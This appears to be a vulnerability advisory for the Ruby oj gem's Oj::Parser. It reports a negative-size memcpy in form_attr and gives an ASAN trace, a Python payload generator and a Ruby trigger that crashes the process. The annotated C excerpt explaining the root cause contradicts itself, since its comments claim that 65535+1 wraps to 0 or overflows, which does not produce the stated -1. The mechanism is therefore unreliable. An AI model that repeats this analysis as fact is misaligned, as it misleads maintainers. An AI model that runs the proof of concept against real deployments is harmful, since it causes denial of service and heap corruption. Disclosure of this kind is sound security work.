Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

### Summary `Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/usual.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/usual.c`, `form_attr`: ```c // usual.c:55–64 static ID form_attr(const char *str, size_t slen) { char buf[4096]; // ... int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0 // or: 65535 cast to int = 65535 (fits), // but blen = 65536 → INT overflow on +1 if slen=INT_MAX // ... memcpy(buf, "@", 1); memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX } ``` The cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`. ASAN report: ``` ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 form_attr /ext/oj/usual.c:63 #2 cache_intern /ext/oj/cache.c:326 #3 get_attr_id /ext/oj/usual.c:186 #4 close_object_create /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parser_parse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800) ``` ### Reproduce Generate the payload: ```python key = 'A' * 65535 with open('poc.json', 'w') as f: f.write('{"json_class":"Oj::Bag","' + key + '":1}') ``` Trigger: ```ruby require 'oj' Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read) ```

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